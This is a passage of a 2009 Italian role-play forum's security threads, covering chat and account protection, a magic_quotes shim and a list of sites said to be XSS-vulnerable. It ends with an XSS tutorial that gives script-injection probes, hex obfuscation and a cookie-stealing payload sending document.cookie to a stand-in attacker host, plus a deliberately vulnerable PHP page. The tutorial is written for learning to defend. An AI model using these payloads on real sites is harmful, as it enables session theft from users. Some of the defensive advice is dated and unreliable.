14.41.09]]></pubDate></item><item><title><![CDATA[Protezione di una chat [ajax / php / mysql]]]> di <![CDATA[ghennadi72]]></title><description><![CDATA[Ciao, ho alcuni dubbi sul come proteggere al meglio la chat che sto realizzando. Ero partito con l´idea di impementare una chat &quot;old-style&quot;, poi mi sono incuriosito sui thread che parlano delle possibili implementazioni di ajax, e ho provato a fare quanto segue.<br><br>Premetto che ho una formazione da autodidatta, cominciata con turbo pascal, transitata brevemente in delphi, piccola carrellata su c++ e poi l´approdo a php, saltando del tutto o quasi javascript (allergia di pelle?). Peggio, ho una mentalità tipicamente da programmazione strutturata, la OOP mi causa malditesta già al classico esercizio dell´ascensore... :lol:<br><br>Quello che ho fatto forse può sembrare molto raffazonato, un po´ come un carro funebre ottocentesco dotato di compressore e dipinto a vernice rossa fosforescente (citazione da Stephen King).<br><br>Il sistema chat si compone di 5 file:<br><br><b><u>chatpub.php</u></b> : é solo il frameset (lo so, sono deprecabili e deprecati, mi cospargerò il capo di cenere) che contiene le due pagine legate all´input e all´output. <br>Riceve l´id della locazione con metodo GET (filtrato con <i>intval()</i> per evitare il get di stringhe impostate manualmente) e lo scrive anche in una variabile di sessione; al caricamento (e all´eventuale refresh forzato) imposta a zero una variabile di sessione <i>lastchat</i> (che mi serve dopo, per verificare se l´utente é appena entrato in chat o se ci stava già) e una variabile di sessione <i>ingressochat</i> impostata con la funzione time() di php.<br><br><b><u>chatpub_input.php</u></b>: é il frame di inserimento del testo. Riceve l´ID della locazione dalla sessione, ed invia a sé stesso con metodo POST. In base alla presenza o meno di caratteri speciali (per le azioni, le stringhe di masterizzazione o moderazione, sussurri, etc)<br>classifica il tipo di messaggio per tipo e lo salva nel database. La logica é quasi identica a quella delle chat di GDR-CD extreme.<br><br><b><u>chatpub_view.php</u></b>: é il frame visibile in cui viene mostrato l´output della chat. La pagina di per sè non si refresha. Qui interviene ajax, che tramite un js incluso avvia una funzione al primo caricamento della pagina e aggiorna i contenuti del DIV principale, identificato tramite il parametro ID=&quot;div_main&quot;.<br><br><b><u>chatajax.js</u></b>: é il &quot;motore&quot; dell´inserimento dei contenuti nel DIV principale della chatbub_view.php; la funzione effettua una chiamata XMLHttpRequest all´ultimo file della cinquina, che va a cercare nel database secondo l´ID della locazione (in sessione) e le variabili <i>lastchat</i> e <i>ingressochat</i> (anche quest in sessione). Saltando i dettagli, richiama un contenuto col sistema XmlHttp<b>.responseText</b> e aggiunge il contenuto in coda al contenuto già presente nel DIV con la funzione <b>.innerHTML</b>. Poi si auto timerizza per un nuovo ciclo dopo 2 secondi e posiziona la barra di scrolling in fondo.<br><br><b><u>chatpub_xmlhttp.php</u></b>: é il &quot;motore&quot; nascosto, che in base ai parametri di cui sopra presenti in sessione (e altri, tipo l´id del personaggio, etc) compone il DIV da mostrare alla pagina richiedente sotto forma di normale codice html, trattato come se fosse un file di testo dal metrodo .responseText<br>A seconda che sia il primo ingresso in chat, la pagina genera l´html necessario a visualizzare le azioni degli ultimi 10 minuti, se presenti, oppure solo le azioni inviate dopo l´ultima già visualizzata in precedenza. <br>Terminato l´output che viene inviato a chatpub_view.php, la pagina aggiorna in sessione la variabile lastchat.<br><br>I tipico output di chatpub_xmlhttp.php potrebbe somigliare a questo (supponendo che la riga da mostrare sia identificata come una stringa di normalissimo parlato):<br><br><pre class='code'>&lt;div class=&quot;parlato&quot;&gt; &lt;?=$ora;?&gt; &lt;.. codice simboletti vari e nome personaggio&gt;: toh, guarda quanta gnocca c´è in taverna stasera...<br>&lt;/div&gt;</pre><br><br>Questa roba viene presa da chatpub_view.php e aggiunta dentro al div principale. Il parametro &quot;class&quot; del div ricevuto dalla pagina di output ovviamente varia a seconda del tipo di contenuto da mostrare (azione, parlato, azioni speciali, moderazione, game masters, etc) e le relative proprietà grafiche sono definite in un foglio CSS a cui chatpub_view.php é collegato.<br><br>...<br><br>Ora, mi chiedevo <b>quali possono essere i modi migliori di proteggere una chat costruita secondo questa logica</b>.<br><br>chatpub_input.php, quando riceve i dati da sé stesso, tratta già il testo inviato (POST) con <b>htmlspecialchars()</b>. Prima di passare il testo alla query di inserimento nel database della chat, il testo subisce una ulteriore passata in una funzione che converte gli apici singoli (apostrofi) in <b>&_acute</b> e gli apici doppi (virgolette) in <b>&_quot</b>, oltre a strippare i vari tags eventualmente residui.<br>(Gli underscore qua sopra sono fittizi, li ho messi se no venivano visualizzati i caratteri corrispondenti).<br><br>Al momento dell´output, in teoria, chatpub_xmlhttp.php dovrebbe poter prendere il testo così com´é salvato nel database e passarlo a chatpub_view.php per la visualizzazione all´utente finale.<br><br>Ho fatto qualche prova sia tentando di inviare tag html o di script, sia cercando di inviare query mysql o pezzi di query, col risultato che mi sono sempre trovato, almeno finora, le &quot;query&quot; e i tag html piazzati in chiaro in chat (quindi non trattati come tali).<br><br>Domanda... <b>cosa potrebbe andare storto? Come porvi rimedio?</b><br>Leggendo i thread sugli <b>XSS</b> suppongo che quanto sopra possa non essere sufficiente, ma non mi é del tutto chiaro a quali vulnerabilità espone l&acute;uso di htmlspecialchars() e quando sia preferibile usare invece htmlentities().<br><br>ps: faccio presente che ogni file &quot;sensibile&quot; include un controllo sulla sessione, per verificare lo stato del login e la titolarità dell´account in uso; un ulteriore JS incluso si occupa di verificare che la finestra contenitore sia la stessa in cui é lanciato il motore della land al momento del login (il js che si occupa di questo é simile a quello utilizzato da eXtremelot).<br>Avevo in mente di implementare anche un ulteriore controllo sulla provenienza degli input, usando le variabili $_SERVER[´PHP_SELF´] e $_SERVER[´HTTP_REFERER´] dove possibile, anche se sull´uso dell´ultima ho qualche dubbio.<br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=104058]]></link><pubDate><![CDATA[14/10/2009 0.28.42]]></pubDate></item><item><title><![CDATA[Domanda su GDRCD Avatar Flash]]> di <![CDATA[ghennadi72]]></title><description><![CDATA[Domandina sull´ultimo pacchetto inserito nella sezione di GDRCD... ossia la possibilità di inserire file .swf nella scheda avatar. <br><br>Non é un po´ rischioso? <br><br>Non conosco a fondo ActionScript e quale tipo di operazioni consenta sulla pagina da cui é richiamata l´animazione ma... aldilà delle operazioni *sulla* pagina da cui é richiamata, l´animazione può davvero contenere di tutto, rimandare a link esterni, richiamare a sua volta altre applicazioni flash.<br><br>E se non ricordo male può accedere direttamente agli eventuali frame richiamandoli direttamente tramite ID, controllandone quindi i contenuti.<br><br>Chiaro che il danno potenziale peggiore, mi sembra a carico dell´utente finale, quello che va a vedersi la scheda avatar, più che per i gestori..<br><br>Ma con tutto quello che sta scritto qui in materia, non é un po´ una follia aprire le porte della propria land a tutto ciò solo per avere un avatar animato e con eventuale sfondo audio diverso dal &quot;solito&quot; midi? <br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=103670]]></link><pubDate><![CDATA[08/10/2009 0.12.32]]></pubDate></item><item><title><![CDATA[Al pratico: vulnerabilità degli account]]> di <![CDATA[ghennadi72]]></title><description><![CDATA[Mi é venuto in mente di fare una scaletta di punti potenzialmente problematici nella gestione di un qualsiasi GDR online, a prescindere dal pacchetto usato (uno di quelli disponibili qui o autoprodotto) per esaminare possibili soluzioni.<br><br>Conosco PHP+MySQL, quindi laddove provo a individuare soluzioni tecniche mi rifaccio a questi.<br><br>Comincio con un argomento che é tra quelli più sensibili, data l´insorgenza frequente di &quot;furti di account&quot;. Prego chiunque abbia esperienza in materia di integrare, suggerire, postare (se ne ha voglia) anche soluzioni tecniche adottate.<br><br><br><br><u><b>1) SICUREZZA DELL´ACCOUNT (USERNAME, PASSWORD...)</b></u><br>E´ un argomento molto critico, soprattutto perchè riguarda anche l´utente &quot;benintenzionato&quot; ma distratto o facilone (es. il tipico utente che tiene la password annotata su un postit attaccato al monitor in ufficio, o che sceglie come password il nome della squadra di calcio preferita e poi sbandiera i suoi gusti calcistici in bacheca) che potrebbe esporsi a sua insaputa, qualunque misura tecnica noi possiamo prendere, a rischi di sottrazione dell´account.<br><br>Ipotizzando alcuni approcci al problema:<br><br>* <b>Crittazione della password</b>: tralasciando che rientra fra le direttive del progetto legalità, mi sembra una buona abitudine. Personalmente ho optato per la <u>crittazione con sha1, &quot;irrobustita&quot; dall´uso di un &quot;seme&quot;</u>, ossia una parola, o combinazione di lettere e numeri &quot;aggiunta&quot; alla password generata dal sistema o scelta dall´utente. <br>La parola &quot;seme&quot; può essere contenuta in un file di configurazione della land, <i>ovviamente fra i tag di PHP in modo che non sia accessibile tramite richiesta http</i>. Un &quot;irrobustimento&quot; ulteriore può essere quello di cambiare periodicamente la parola &quot;seme&quot;, anche se questo rende inutilizzabili le password già registrate e forza gli utenti a generarne una nuova ogni volta che il seme viene cambiato.<br><br>* <b>Robustezza della password</b>: aldilà dei consigli che possiamo dare all´utenza, l´unico &quot;aiuto&quot; concreto che si può dare, dato che statisticamente il giocatore non legge un tubo dei consigli che vengono forniti al momento della scelta della password, é quello di implementare controlli che richiedano <u>password complesse e non troppo corte, per renderle meno vulnerabili</u> ad attacchi brute-force, e anche meno facili da indovinare. Ad esempio <u>forzando l´utente a mescolare maiuscole e minuscole, lettere e numeri, e imponendo una lunghezza minima della password</u>. Risulterà una password meno facile da ricordare ma anche meno vulnerabile e meno facile da indovinare.<br>L´ideale, per facilitare le cose all´utente, sarebbe anche di effettuare il controllo sulla complessità/lunghezza della password prima dell´invio (validazione lato client) usando anche uno dei tanti script ajax/js disponibili gratuitamente.<br><br>* <b>Separazione tra login e nome del personaggio giocante</b>: lo Username rappresenta esattamente la metà di quello che occorre per fare il login, quindi dal punto di vista dell´utente malintenzionato, conoscere lo username dell´utente é possedere già la metà di quello che gli serve. E´ difficile intervenire sulla maggior parte degli OS in circolazione, dal momento che quasi sempre lo username usato per il login coincide con il nome del personaggio utilizzato in gioco, che é quindi pubblicamente disponibile agli altri utenti.<br>Laddove possibile, soprattutto se si sta scrivendo un proprio GDR senza fare ricorso ad alcuno di quelli esistenti, <u>l´ideale sarebbe di distinguere nettamente tra lo username di login, e il nome del personaggio da usare in gioco</u>, mantenendo il primo segreto e (sperabilmente) noto solo all´utente e agli amministratori. Questo comporta che la fase di creazione del PG deve avvenire successivamente alla creazione dell´account di login.<br>Alcuni OS già prevedono questa possibilità, ad esempio richiedendo l´inserimento dell´indirizzo email come username. Tuttavia anche l´email é un dato potenzialmente pubblico. Un ulteriore modo di irrobustire la separazione tra username e personaggio sarebbe quella di <u>impedire la scelta di un nome per il PG coincidente con lo username di login scelto</u>.<br><br>* <b>Canali di pubblicazione dello username</b>: supponendo che sia stato distinto il login dal nome del PG, alcuni potrebbero voler implementare una parte esterna al gioco, ad esempio liste degli utenti online con appositi profili (compleanni, contatti esterni, etc), o addirittura sistemi di messaggeria privata esterni al gioco, per lo scambio utente-utente anzichè pg-pg. In tal caso <u>sarebbe buona norma non rendere visibile lo username, e far scegliere invece all´utente registrato un nome, o un nick, visibile agli altri utenti che non coincida né col nome del PG né con lo username di login</u>.<br><br><i>Nota: la separazione tra Username e Personaggio può risultare utile anche per ragioni che non hanno alcuna relazione con la sicurezza, ad esempio se si volesse consentire a determinate categorie di utenti di muovere più di un personaggio (magari in funzione di una quest) senza costringerli a creare più account.</i>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=103627]]></link><pubDate><![CDATA[07/10/2009 16.19.59]]></pubDate></item><item><title><![CDATA[Migliaia di password Hotmail, Gmail, Yahoo online]]> di <![CDATA[oorazoroo]]></title><description><![CDATA[[<a href='url.asp?url=http://www.neowin.net/news/main/09/10/05/thousands-of-hotmail-passwords-leaked-online' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]<br><br>In qualche modo (non si sa come) un utente anonimo ha rilasciato migliaia di password per gli account hotmail in ordine alfabetico da A a B sul sito pastebin.com<br><br>La lista è stata velocemente rimossa, ma lo stesso articolo conferma che alcuni account sono genuini e son principalmente presenti in Europa.<br><br>Se pensate che il vostro account possa esser finito nella lista, consiglio vivamente di cambiare password e sceglierne una sicura. Questa ricerca di Google [<a href='url.asp?url=http://www.google.com/search?q=creare&#37;20password&#37;20sicure' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>] dovrebbe contenere molti articoli su come creare password sicure ma anche facili da ricordare, e consiglio a tutti di leggerne alcuni per informarsi.<br><br>Chi non dovesse risultare nell´elenco degli account rilasciati non deve comunque considerarsi totalmente al sicuro. E´ molto meglio cambiare ugualmente password e prender l´abitudine di farlo ogni tot tempo, in modo da evitare qualunque problema in futuro.<br><br>Come sempre, se avete dati importanti o sensibili, conservateli a casa vostra, possibilmente su un hard disk esterno, una chiavetta, o altri supporti di memoria removibili, e chiudeteli a chiave da qualche parte. Affidare i propri dati a servizi web non è mai sicuro, ne che si tratti di un sito poco conosciuto, ne che si tratti di grossi nomi come Google, Microsoft, Facebook e Yahoo. ]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=103542]]></link><pubDate><![CDATA[06/10/2009 9.10.12]]></pubDate></item><item><title><![CDATA[Constantine - Furto Password]]> di <![CDATA[delirio]]></title><description><![CDATA[buongiorno a tutti, mi scuso se magari non è il posto giusto per scrivere questa cosa pero´ oramai ci siamo e lo scrivo :<br>Cerco chi ha rubato la password del gdr attualmente chiuso per tale problema, il gestore offre una aluta ricompensa,se, chiunque di voi puo´ darci una mano si becca una ricompensa anche lui.<br><br>Grazie in aticipo <br><br>Enzo<br><br>e-mail gestore -- &gt; dark_evil@hotmail.it<br><br><br><br><br>***MODERAZIONE***<br>Cerchiamo di dare ai thread degli oggetti chiari. E´ vietato mettere come oggetto &quot;Aiuto&quot;]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=99099]]></link><pubDate><![CDATA[28/07/2009 14.44.03]]></pubDate></item><item><title><![CDATA[Protezione]]> di <![CDATA[arkran]]></title><description><![CDATA[Ciao ragazzi! ^_^<br><br>Quali sono i passi da seguire, per rendere il sito inhackerabile? O_O<br><br>Grazie ^_*]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=98049]]></link><pubDate><![CDATA[14/07/2009 22.29.30]]></pubDate></item><item><title><![CDATA[Php Security]]> di <![CDATA[mook]]></title><description><![CDATA[Un link molto utile trovato in giro.<br>Enjoy [<a href='url.asp?url=http://www.stumbleupon.com/s/#5KYzlS/www.noupe.com/php/php-security-tips.html/' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=97337]]></link><pubDate><![CDATA[06/07/2009 14.39.40]]></pubDate></item><item><title><![CDATA[PHP magic_quotes]]> di <![CDATA[tsumi]]></title><description><![CDATA[<i>Non credo di violare il regolamento considerando che il bug/problema che descrivo non è attualmente presente bensì si presenterà in un (neanche troppo prossimo) futuro quando i principali servizi di hosting cominceranno ad aggiornare le loro versioni di PHP alla 6. Nel caso &quot;creda&quot; male fatemi un fischio.</i><br><br><br>Oggi mentre ero alle prese con dei lavori su un sito mi sono imbattuto in questo annuncio: [<a href='url.asp?url=http://it.php.net/magic_quotes' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>] che annunciava la deprecazione delle magic_quotes a partire da PHP 5.3 (attualmente in stato di RC1, la versione stabile di php attualmente distribuita è la 5.2.9) e la loro successiva rimozione nella versione 6.0.<br><br>Ma andiamo con ordine:<br><br><b>Cosa sono le magic quotes di php?</b><br>Le magic quotes sono una funzione disponibile su php che provvede a fare l&acute;escape degli apici (cambiandoli da &acute; in &acute;) su tutti i dati provenienti da da form (POST), variabili GET e COOKIE.<br>Il loro scopo principale è prevenire l&acute;SQL injection provvedendo appunto a fare un escape automatico degli apici.<br><br><br><b>Per quale motivo le tolgono?</b><br>Da quello che ho letto in giro il motivo principale è il fatto che siano eccessivamente invasive costringendo in alcuni casi a fare stripslashes() su stripslashes() per riottenere dei dati puliti da utilizzare per esempio nelle email o nei salvataggi su file anziché su DB.<br>Personalmente trovo che rimuoverle non sia proprio il massimo, io mi sono sempre appoggiato alle magic_quotes per essere sicuro al 100&#37; di avere una protezione sicura contro l&acute;SQL injection ... ma tantè ... dopotutto capisco anche coloro che non lavorano principalmente su database e si trovano quindi a dover fare decine di stripslashes() per ottenere i dati puliti.<br><br><br><b>Cosa comporta la loro rimozione?</b><br>Ecco, qui dipende sostanzialmente dal codice in uso, molti CMS/forum dovrebbero prevedere già da soli a questo problema, per quanto riguarda i GDR (visto che di questi che ci stiamo preoccupando) i casi possono essere vari a seconda degli accorgimenti presi. Rimane il fatto che molti motori open source si appoggino alle magic_quotes senza fare controlli ulteriori.<br><br><br><b>Arrivando al punto:</b><br>PHP 6 è ancora lontano dall&acute;essere rilasciato ed adottato, quanto al 5.3 probabilmente tutti i principali hosting preferiranno tenere abilitate le magic_quotes anche se deprecate per garantire ai propri utenti il tempo di adeguare i loro codici.<br><b>Quindi il problema è per certi versi ancora lontano dal manifestarsi</b>, ma personalmente preferisco sempre mettermi al sicuro fin da subito in vista di problemi futuri.<br><br><br><b>Una possibile soluzione:</b><br>Considerando che molti motori per GDR sono stati scritti assumendo la presenza di magic_quotes la cosa migliore è aggiungere una funzione che faccia lo stesso lavoro di magic_quotes.<br>Un esempio è questo:<br><br><pre class='code'>function magic_quotes($array) {<br>	// se le magic_quotes non sono abilitate<br>	if(get_magic_quotes_gpc() == &acute;0&acute;) {<br>		// per ogni valore<br>		foreach($array AS $key=&gt;$val) {<br>			// se è un array chiamo la funzione ricorsivamente, in alternativa eseguo un addslashes<br>			if(is_array($val)) $array[$key] = magic_quotes($val);<br>			else $array[$key] = addslashes($val);	<br>		}<br>	}<br>	return $array;<br>}<br><br>$_POST=magic_quotes($_POST);<br>$_GET=magic_quotes($_GET);</pre><br><br>da inserire in un file che venga incluso dappertutto come ad esempio <b>l&acute;include che fa la connessione al database.</b><br><br>Per quanto riguarda i codici che fanno uso di register_globals per attingere direttamente a $var invece di attingere a $_POST[&acute;var&acute;] non saprei, ma a naso direi che questa procedura non funzioni in questo caso (qualcuno può confermare?) ... forse sarebbe il caso di cominciare ad abbandonare register_globals visto che nel PHP 6 mi pare sparisca del tutto.<br><br><br>Tsu]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=92688]]></link><pubDate><![CDATA[27/04/2009 21.59.47]]></pubDate></item><item><title><![CDATA[Elenco siti famosi vulnerabili XSS]]> di <![CDATA[tdl - staff]]></title><description><![CDATA[Elenco siti famosi vulnerabili ad attacchi XSS in Marzo 2009:<br><br><b>NB: ometto la parte di codice malevole. Elenco solo i siti e l´url che può/poteva essere attaccato ma senza specificare come, chi sa capirà da solo.</b><br><br>sito: Ferrero<br>url: www.ferrero.it<br>tipo: xss redirect<br>data: 15-03-2009<br><br>sito: Vaticano<br>url: www.vatican.va <br>tipo: xss GET url attack<br>data 15-03-2009<br><br>sito: Mediaset<br>url: servizi.mediaset.it/Servizi/authenticationCheck.jsp<br>tipo: xss GET url attack<br>data: 19-03-2009<br><br>sito: Senato della Repubblica<br>url: http://www.senato.it/ricerche/leggi/nuova.ricerca?<br>tipo: xss GET url attack + Phishing<br>data: 19-03-2009]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=91006]]></link><pubDate><![CDATA[09/04/2009 12.31.57]]></pubDate></item><item><title><![CDATA[XSS - Guida Completa]]> di <![CDATA[tdl - staff]]></title><description><![CDATA[Questa guida viene gentilmente fornita da <b>N3t.Sh4rk</b>. Il documento è completo e corredato oltre che da brevi cenni di storia sull´XSS anche da esempi. <br><div class='quote'><img src='images/quotetop.gif'><br><br>PS: GRAZIE SE SI PUÓ METTERE IMPORTANTE, ALTRIMENTI AMEN.<br></div><br><br><b><u>INTRODUZIONE</u></b><br>Il Cross Site Scripting, successivamente chiamato XSS per non confondersi con Cascading Style Sheets, è un tipo di vulnerabilità che affligge le applicazioni web con codice scritto in modo poco sicuro nelle variabili di input. Eseguendo un attacco di tipo XSS è possibile rubare i cookie della vittima, costruire fake login, worm, ridirezionare le pagine web e tanto altro ancora. Per questo motivo il problema non riguarda la compromissione del sito stesso nello specifico quanto ingannare gli utenti ingenui che nel 85&#37; dei casi cascano negli attacchi XSS, compromettendo la loro stessa sicurezza e la loro identità. Più avanti spiegheremo quali sono le infinite possibilità che ci offre il Cross Site Scripting. Prima di proseguire con la lettura però si raccomanda una conoscenza basilare di :<br>-HTML<br>-PHP , GET() e POST()<br>-Javascript<br><br>Ricordo inoltre che con il nome “Joe” si intende l’attacker.<br><br><b><u>STORIA</u></b><br>Il nome “Cross Site Scripting” venne usato per la prima volta da Mark Slemko, il pioniere del XSS. Di lui sappiamo che nasce in Canada negli U.S.A. E’ attualmente “Platform Technology Director”, sovrintende allo sviluppo del prodotto, l´automazione e l´integrazione delle tecnologie<br>web e l’infrastruttura IT. Mark ha una vasta esperienza con leadership di alto profilo, con diversi statunitensi e canadesi tra cui aziende di software Radical Entertainment, Morgan Inc.and Avue Media Technologies.<br><br>Il nome XSS, però, oggi come oggi non rispecchia tutti i problemi che questo tipo di vulnerabilità porta con sé.<br><br><b><u>Tipi di XSS : DOM Based</u></b><br>Il DOM-Based Cross Site Scripting permette a Joe di lavorare non sul sito personale della vittima ma direttamente all’interno della sua macchina.<br>Questo avviene perché molti sistemi operativi includono “dalla nascita” alcune pagine HTML create per scopi diversi tra loro, ma a lungo andare gli utenti di questi O.S. possono commettere degli errori con queste pagine HTML, che diventano vulnerabili e possono essere soggette ad<br>exploit.<br><br>L’attacco:<br>-Joe crea un sito web con delle pagine contenenti codice malevolo<br>-L’utente ingenuo apre questo tipo di sito<br>-L’utente ha una pagina HTML vulnerabile sulla sua macchina<br>-Questa pagina vulnerabile esegue i comandi imposti dal codice malevolo di joe con i permessi<br>dell’utente ingenuo.<br>-Joe può ora facilmente controllare il computer della vittima<br><br>La difesa:<br>-Non visitare siti web sconosciuti o con nomi pochi convincenti, come ad es. nomi alfanumerici.<br>-tenere il proprio sistema aggiornato<br>-Evitare di accedere alla macchina con i permessi di root / adminsitrator<br><br><b><u>Tipi di XSS : Non-Persistenti</u></b><br>Le vulnerabilità XSS Non-Persistenti sono attualmente quelle più facili che possiamo trovare nel Web. Sono chiamate così perché lavorano sulla risposta HTTP immediata da parte del sito vittima: quando le pagine web prendono i dati immessi da Joe nelle variabili di input ,generano<br>automaticamente la pagina contenente il risultato per lo stesso Joe.<br>Stando a ciò, Joe inserisce diversi tipi di dati o meglio di codici malevoli fino a che il server non esegue come risultato ciò che lui ha messo come input. In genere i motori di ricerca interni ad un sito web soffrono di queste vulnerabilità XSS. Se questo avviene, allora al 99&#37; saremo in grado di eseguire anche altro codice javascript.<br><br>Per esempio se dobbiamo cercare la vulnerabilità su un sito come:<br><pre class='code'><br>http://www.example.com/search.php?text=paroladacercare<br></pre><br><br>Proviamo ad includere del codice HTML direttamente nella stringa di cui sopra:<br><pre class='code'><br>http://www.example.com/search.php?text=&lt;img src=”http://sito.di.joe/immagine.jpg&gt;<br></pre><br><br>Se il sito web è vulnerabile a Joe comparirà nei risultati di ricerca l’immagine che ha inserito prima.<br><br>Ora proviamo ad inserire del codice javascript:<br><pre class='code'>http://www.example.com/search.php?text=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><br><br>Probabilmente il sito ci restituirà un pop-up con il nostro cookie all’interno del sito che stiamo visitando. Però un utente ingenuo non potrà mai essere tanto stupido da non accorgersi dello script alla fine perciò ponendo il caso di scrivere codice javascript che effettui redirect al fake login o cookie stealer (più avanti vedremo come crearne uno)che Joe ha preparato, Joe deve far apparire l’ultima parte della stringa del sito come qualcosa di normale. Per fare questo ha bisogno di codificarla in HEX, possiamo usare il tool on-line: http://www.paulschou.com/tools/xlate/ (ricordatevi però &#37; lo dovete inserire voi) :<br><pre class='code'><br>http://www.example.com/search.php?text=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br></pre><br>DIVENTA:<br><pre class='code'><br>http://www.example.com/search.php?text=3c &#37;73&#37;<br>63&#37;72&#37;69&#37;70&#37;74&#37;3e&#37;61&#37;6c&#37;65&#37;72&#37;74&#37;28&#37;64 6f&#37;63&#37;75&#37;6d&#37;65&#37;6e&#37; 74&#37;2e&#37;<br>63&#37;6f&#37;6f&#37;6b&#37;69&#37;65&#37;29&#37;3c&#37;2f&#37;73&#37;72&#37;6&#37;70&#37;74&#37;3e<br></pre><br><br>Difesa:<br>-La soluzione è accettare solo caratteri alfa-numerici come per esempio:<br>- Python: cgi.escape($code)<br>- PHP: eregi(“[^a-zA-Z0-9_]”,$code); $code=htmlentities($code);<br><br>E altri simili. In PHP è meglio htmlentities() che htmlspecialchars(), quest’ultimo controllo sul codice infatti se pur con difficoltà può essere superato.<br><br><b><u>Tipi di XSS Persistenti</u></b><br>Le XSS Persistenti sono simili a quelle Non-Persistenti. La loro “diversità” consiste che Joe non fornisce il suo link modificato per un attacco XSS ad un possibili utente ingenuo, perché lo stesso sito web vittima consente di inserire dati fissi nel sistema: questo è ad esempio il caso dei guestbook.<br>I guestbook non fanno alcun tipo di controllo sul codice contenuto all’interno del messaggio inserito: semplicemnteinseriscono i dati forniti dall’utente nella pagina dei risultati. Joe può così inserire quanto codice vuole, per esempio:<br><br><pre class='code'><br>&lt;img src=”javascript:document.location(‘http://sito.di.joe/grabber.php?cookie=’.<br>encodeURI(docment.cookie));”&gt;<br></pre><br>Con questo codice Joe può rubare i cookie dell’utente prendendoli con il cookie grabber costruito in precedenza, che a seconda di come è stato costruito può salvare i cookie dell’utente ingenuo o in un file di testo oppure può inviarli direttamente per e-mail a Joe. Oltre a questo si potrebbero scrivere tanti altri esempi di codice javascript nel sito vulnerabile. Ma preferisco prendere in considerazione solo questo poiché fa capire come la vulnerabilità XSS persistente sia la più pericolosa perché può facilmente infettare tanti utenti con un attacco unico.<br>Infatti Joe non prende solo i cookie di un utente ma di tutti coloro che scriveranno sul guestbook.<br><br>Difesa:<br>- La soluzione è accettare solo caratteri alfa-numerici come per esempio:<br>- Python: cgi.escape($code)<br>- PHP: eregi(“[^a-zA-Z0-9_]”,$code); $code=htmlentities($code);<br><br>E altri simili. In PHP è meglio htmlentities() che htmlspecialchars(), quest’ultimo controllo sul codice infatti se pur con difficoltà può essere superato.<br><br><b><u>Costruire un Cookie Grabber</u></b><br><br><br>Sappiate solo che alcune vulnerabilità XSS provengono anche dai cookies e quindi è opportuno controllare anche quelli.<br><br><br><b><u>Costruire una pagina vulnerabile ad XSS</u></b><br>Suppongo che questa si possa anche scrivere visto e considerato che non può danneggiare nessuno ma anzi mostra come <b>non</b> deve essere scritta una pagina. Inoltre questi esempi funzionano al 90&#37; solo in locale e non sul server. Questa pagina servirà per esercitarvi.<br><br>index.hmtl<br><pre class='code'>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;<br>&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;<br>&lt;style type=&quot;text/css&quot;&gt;<br>&lt;!--<br>body,td,th {<br>color: #FFFFFF;<br>}<br>body {<br>background-color: #000000;<br>}<br>--&gt;<br>&lt;/style&gt;&lt;title&gt;Simple XSS Vulnerability &lt;/title&gt;<br>&lt;body&gt;<br>&lt;form action=&quot;motore_uno.php&quot; method=&quot;post&quot;&gt;<br>&lt;p align=&quot;center&quot;&gt;&lt;strong&gt;Simple XSS Vulnerability&lt;/strong&gt;&lt;/p&gt;<br>&lt;div align=&quot;center&quot;&gt;<br>&lt;table width=&quot;270&quot; border=&quot;0&quot;&gt;<br>&lt;tr&gt;<br>&lt;td width=&quot;106&quot;&gt;&lt;strong&gt;Search:&lt;/strong&gt;&lt;/td&gt;<br>&lt;td width=&quot;154&quot;&gt;&lt;input name=&quot;Vulnerability&quot; type=&quot;text&quot; id=&quot;Vulnerability&quot; /&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt;<br>&lt;table width=&quot;268&quot; border=&quot;0&quot;&gt;<br>&lt;tr&gt;<br>&lt;td width=&quot;262&quot;&gt;&lt;div align=&quot;center&quot;&gt;<br>&lt;input name=&quot;submit&quot; type=&quot;submit&quot; value=&quot; Search it ! &quot; /&gt;<br>&lt;/div&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt;<br>&lt;/div&gt;<br>&lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><br><br>uno.php<br><pre class='code'><br>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;<br>&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;<br>&lt;title&gt;Search result:&lt;/title&gt;<br>&lt;style type=&quot;text/css&quot;&gt;<br>&lt;!--<br>body,td,th {<br>color: #FFFFFF;<br>}<br>body {<br>background-color: #000000;<br>}<br>--&gt;<br>&lt;/style&gt;&lt;/head&gt;<br>&lt;body&gt;<br>&lt;span class=&quot;alerte&quot;&gt;Search result :&lt;/span&gt; &lt;strong&gt;&lt;?php echo $_POST[´Vulnerability´];<br>?&gt;&lt;/strong&gt; <br>&lt;/body&gt;<br>&lt;/html&gt;<br></pre><br><br><b><u>Come fare a “Bypass” htmlspecialchars()</u></b><br>Attualmente non è facile bypassare htmlspecialchars() però è possibile.  evito di scriverlo sappiate però che per evitare attacchi XSS non è sufficiente utilizzare 